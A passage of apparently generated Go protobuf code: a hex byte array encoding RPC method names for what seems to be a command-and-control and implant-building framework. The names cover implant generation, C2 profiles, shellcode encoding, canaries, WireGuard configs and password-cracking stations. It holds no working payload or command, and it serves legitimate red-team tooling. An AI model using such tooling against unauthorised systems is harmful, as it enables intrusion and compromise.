0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, + 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, 0x0a, + 0x06, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, 0x74, + 0x49, 0x4f, 0x43, 0x52, 0x6d, 0x12, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x49, 0x4f, 0x43, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, + 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x4c, 0x0a, 0x15, + 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x70, 0x6f, 0x6f, 0x66, 0x4d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x22, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x70, 0x6f, 0x6f, 0x66, 0x4d, 0x65, + 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x52, 0x0a, 0x10, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x12, 0x1d, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, + 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, + 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x4d, + 0x0a, 0x19, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, + 0x61, 0x6c, 0x53, 0x61, 0x76, 0x65, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, 0x0f, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x59, 0x0a, + 0x1e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, + 0x6c, 0x47, 0x65, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, + 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x3f, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, + 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, + 0x67, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x3f, 0x0a, 0x11, 0x53, 0x74, 0x61, + 0x67, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x19, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3d, 0x0a, 0x11, 0x47, 0x65, + 0x74, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, + 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x48, 0x0a, 0x16, 0x47, 0x65, 0x74, + 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x42, 0x79, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x12, 0x3f, 0x0a, 0x11, 0x53, 0x61, 0x76, 0x65, 0x48, 0x54, 0x54, 0x50, 0x43, + 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, 0x0f, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x32, 0x0a, + 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, + 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, + 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, + 0x72, 0x73, 0x12, 0x4a, 0x0a, 0x12, 0x47, 0x65, 0x74, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, + 0x63, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x65, 0x73, + 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x52, + 0x0a, 0x1b, 0x47, 0x65, 0x74, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x65, + 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x22, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, + 0x69, 0x63, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x49, 0x6e, + 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x05, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, + 0x61, 0x6e, 0x64, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x41, 0x0a, 0x14, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x65, 0x72, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, + 0x37, 0x0a, 0x13, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, + 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, + 0x6b, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, + 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x54, 0x61, 0x73, 0x6b, 0x42, 0x79, 0x49, 0x44, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, + 0x73, 0x6b, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, + 0x6c, 0x65, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, + 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, + 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, + 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, + 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, + 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x39, 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, + 0x69, 0x6c, 0x65, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, + 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, + 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, + 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x39, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, + 0x12, 0x3a, 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, + 0x16, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x12, 0x39, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, + 0x69, 0x71, 0x75, 0x65, 0x49, 0x50, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, + 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, + 0x76, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x12, 0x41, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x1a, + 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x6f, + 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x4b, 0x0a, 0x10, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, + 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, + 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x45, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 